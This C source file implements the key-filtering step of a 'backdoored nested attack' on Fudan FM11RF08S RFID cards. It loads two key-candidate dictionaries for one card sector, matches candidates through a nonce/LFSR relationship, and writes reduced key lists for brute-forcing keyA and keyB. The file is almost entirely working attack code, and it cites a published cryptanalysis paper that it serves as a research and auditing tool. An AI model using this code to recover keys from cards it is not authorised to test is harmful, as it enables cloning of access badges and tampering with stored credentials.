tools/mfc/card_only/staticnested_2x1nt_rf08s.c

   1 // Faster Backdoored Nested Attack against Fudan FM11RF08S tags
   2 //
   3 // Attack conditions:
   4 // * Backdoor
   5 // * keyA and keyB are different for the targeted sector
   6 //
   7 // Strategy:
   8 // * Use backdoor on the targeted sector to get the clear static nested nT for keyA and for keyB
   9 // * Generate 2 lists of key candidates based on clear and encrypted nT
  10 // * Search couples of keyA/keyB satisfying some obscure relationship
  11 // * Use the resulting dictionary to bruteforce the keyA (and staticnested_2x1nt_rf08s_1key for keyB)
  12 //
  13 //  Doegox, 2024, cf https://eprint.iacr.org/2024/1275 for more info
  14
  15 #include <stdio.h>
  16 #include <stdlib.h>
  17 #include <stdbool.h>
  18 #include <string.h>
  19 #include <inttypes.h>
  20
  21 uint16_t i_lfsr16[1 << 16] = {0};
  22 uint16_t s_lfsr16[1 << 16] = {0};
  23
  24 static void init_lfsr16_table(void) {
  25     uint16_t x = 1;
  26     for (uint16_t i = 1; i; ++i) {
  27         i_lfsr16[(x & 0xff) << 8 | x >> 8] = i;
  28         s_lfsr16[i] = (x & 0xff) << 8 | x >> 8;
  29         x = x >> 1 | (x ^ x >> 2 ^ x >> 3 ^ x >> 5) << 15;
  30     }
  31 }
  32
  33 // static uint16_t next_lfsr16(uint16_t nonce) {
  34 //     return s_lfsr16[(i_lfsr16[nonce]+1) % 65535];
  35 // }
  36
  37 static uint16_t prev_lfsr16(uint16_t nonce) {
  38     return s_lfsr16[(i_lfsr16[nonce] - 1) % 65535];
  39 }
  40
  41 static uint16_t compute_seednt16_nt32(uint32_t nt32, uint64_t key) {
  42     uint8_t a[] = {0, 8, 9, 4, 6, 11, 1, 15, 12, 5, 2, 13, 10, 14, 3, 7};
  43     uint8_t b[] = {0, 13, 1, 14, 4, 10, 15, 7, 5, 3, 8, 6, 9, 2, 12, 11};
  44     uint16_t nt = nt32 >> 16;
  45     uint8_t prev = 14;
  46     for (uint8_t i = 0; i < prev; i++) {
  47         nt = prev_lfsr16(nt);
  48     }
  49     uint8_t prevoff = 8;
  50     bool odd = 1;
  51
  52     for (uint8_t i = 0; i < 6 * 8; i += 8) {
  53         if (odd) {
  54             nt ^= (a[(key >> i) & 0xF]);
  55             nt ^= (b[(key >> i >> 4) & 0xF]) << 4;
  56         } else {
  57             nt ^= (b[(key >> i) & 0xF]);
  58             nt ^= (a[(key >> i >> 4) & 0xF]) << 4;
  59         }
  60         odd ^= 1;
  61         prev += prevoff;
  62         for (uint8_t j = 0; j < prevoff; j++) {
  63             nt = prev_lfsr16(nt);
  64         }
  65     }
  66     return nt;
  67 }
  68
  69 int main(int argc, char *const argv[]) {
  70     if (argc != 3) {
  71         printf("Usage:\n  %s keys_<uid:08x>_<sector:02>_<nt1:08x>.dic keys_<uid:08x>_<sector:02>_<nt2:08x>.dic\n"
  72                "  where both dict files are produced by staticnested_1nt *for the same UID and same sector*\n",
  73                argv[0]);
  74         return 1;
  75     }
  76
  77     uint32_t uid1, sector1, nt1, uid2, sector2, nt2;
  78     char *filename1 = argv[1], *filename2 = argv[2];
  79
  80     int result;
  81     result = sscanf(filename1, "keys_%8x_%2d_%8x.dic", &uid1, &sector1, &nt1);
  82     if (result != 3) {
  83         fprintf(stderr, "Error: Failed to parse the filename %s.\n", filename1);
  84         return 1;
  85     }
  86     result = sscanf(filename2, "keys_%8x_%2d_%8x.dic", &uid2, &sector2, &nt2);
  87     if (result != 3) {
  88         fprintf(stderr, "Error: Failed to parse the filename %s.\n", filename2);
  89         return 1;
  90     }
  91
  92     if (uid1 != uid2) {
  93         fprintf(stderr, "Error: Files must belong to the same UID.\n");
  94         return 1;
  95     }
  96     if (sector1 != sector2) {
  97         fprintf(stderr, "Error: Files must belong to the same sector.\n");
  98         return 1;
  99     }
 100     if (nt1 == nt2) {
 101         fprintf(stderr, "Error: Files must belong to different nonces.\n");
 102         return 1;
 103     }
 104
 105     init_lfsr16_table();
 106
 107     uint32_t keycount1 = 0;
 108     uint64_t *keys1 = NULL;
 109     uint8_t *filter_keys1 = NULL;
 110     uint16_t *seednt1 = NULL;
 111     uint32_t keycount2 = 0;
 112     uint64_t *keys2 = NULL;
 113     uint8_t *filter_keys2 = NULL;
 114     FILE *fptr;
 115
 116     fptr = fopen(filename1, "r");
 117     if (fptr != NULL) {
 118         uint64_t buffer;
 119         while (fscanf(fptr, "%012" PRIx64, &buffer) == 1) {
 120             keycount1++;
 121         }
 122
 123         keys1 = (uint64_t *)malloc(keycount1 * sizeof(uint64_t));
 124         filter_keys1 = (uint8_t *)calloc(keycount1, sizeof(uint8_t));
 125         if ((keys1 == NULL) || (filter_keys1 == NULL)) {
 126             perror("Failed to allocate memory");
 127             fclose(fptr);
 128             goto end;
 129         }
 130         rewind(fptr);
 131
 132         for (uint32_t i = 0; i < keycount1; i++) {
 133             if (fscanf(fptr, "%012" PRIx64, &keys1[i]) != 1) {
 134                 perror("Failed to read key");
 135                 fclose(fptr);
 136                 goto end;
 137             }
 138         }
 139         fclose(fptr);
 140     } else {
 141         fprintf(stderr, "Warning: Cannot open %s\n", filename1);
 142         goto end;
 143     }
 144
 145     fptr = fopen(filename2, "r");
 146     if (fptr != NULL) {
 147         uint64_t buffer;
 148         while (fscanf(fptr, "%012" PRIx64, &buffer) == 1) {
 149             keycount2++;
 150         }
 151
 152         keys2 = (uint64_t *)malloc(keycount2 * sizeof(uint64_t));
 153         filter_keys2 = (uint8_t *)calloc(keycount2, sizeof(uint8_t));
 154         if ((keys2 == NULL) || (filter_keys2 == NULL)) {
 155             perror("Failed to allocate memory");
 156             fclose(fptr);
 157             goto end;
 158         }
 159         rewind(fptr);
 160
 161         for (uint32_t i = 0; i < keycount2; i++) {
 162             if (fscanf(fptr, "%012" PRIx64, &keys2[i]) != 1) {
 163                 perror("Failed to read key");
 164                 fclose(fptr);
 165                 goto end;
 166             }
 167         }
 168         fclose(fptr);
 169     } else {
 170         fprintf(stderr, "Warning: Cannot open %s\n", filename2);
 171         goto end;
 172     }
 173
 174     printf("%s: %i keys loaded\n", filename1, keycount1);
 175     printf("%s: %i keys loaded\n", filename2, keycount2);
 176
 177     seednt1 = (uint16_t *)malloc(keycount1 * sizeof(uint16_t));
 178     if (seednt1 == NULL) {
 179         perror("Failed to allocate memory");
 180         goto end;
 181     }
 182     for (uint32_t i = 0; i < keycount1; i++) {
 183         seednt1[i] = compute_seednt16_nt32(nt1, keys1[i]);
 184     }
 185     for (uint32_t j = 0; j < keycount2; j++) {
 186         uint16_t seednt2 = compute_seednt16_nt32(nt2, keys2[j]);
 187         for (uint32_t i = 0; i < keycount1; i++) {
 188             if (seednt2 == seednt1[i]) {
 189 //                printf("MATCH: key1=%012" PRIx64 " key2=%012" PRIx64 "\n", keys1[i], keys2[j]);
 190                 filter_keys1[i] = 1;
 191                 filter_keys2[j] = 1;
 192             }
 193         }
 194     }
 195
 196     char filter_filename1[40];
 197     uint32_t filter_keycount1 = 0;
 198     snprintf(filter_filename1, sizeof(filter_filename1), "keys_%08x_%02i_%08x_filtered.dic", uid1, sector1, nt1);
 199     fptr = fopen(filter_filename1, "w");
 200     if (fptr != NULL) {
 201         for (uint32_t j = 0; j < keycount1; j++) {
 202             if (filter_keys1[j]) {
 203                 filter_keycount1++;
 204                 fprintf(fptr, "%012" PRIx64 "\n", keys1[j]);
 205             }
 206         }
 207         fclose(fptr);
 208     } else {
 209         fprintf(stderr, "Warning: Cannot save keys in %s\n", filter_filename1);
 210     }
 211
 212     char filter_filename2[40];
 213     uint32_t filter_keycount2 = 0;
 214     snprintf(filter_filename2, sizeof(filter_filename2), "keys_%08x_%02i_%08x_filtered.dic", uid2, sector2, nt2);
 215     fptr = fopen(filter_filename2, "w");
 216     if (fptr != NULL) {
 217         for (uint32_t j = 0; j < keycount2; j++) {
 218             if (filter_keys2[j]) {
 219                 filter_keycount2++;
 220                 fprintf(fptr, "%012" PRIx64 "\n", keys2[j]);
 221             }
 222         }
 223         fclose(fptr);
 224     } else {
 225         fprintf(stderr, "Warning: Cannot save keys in %s\n", filter_filename2);
 226     }
 227     printf("%s: %i keys saved\n", filter_filename1, filter_keycount1);
 228     printf("%s: %i keys saved\n", filter_filename2, filter_keycount2);
 229
 230 end:
 231     if (keys1 != NULL)
 232         free(keys1);
 233     if (keys2 != NULL)
 234         free(keys2);
 235     if (filter_keys1 != NULL)
 236         free(filter_keys1);
 237     if (filter_keys2 != NULL)
 238         free(filter_keys2);
 239     if (seednt1 != NULL)
 240         free(seednt1);
 241
 242     return 0;
 243 }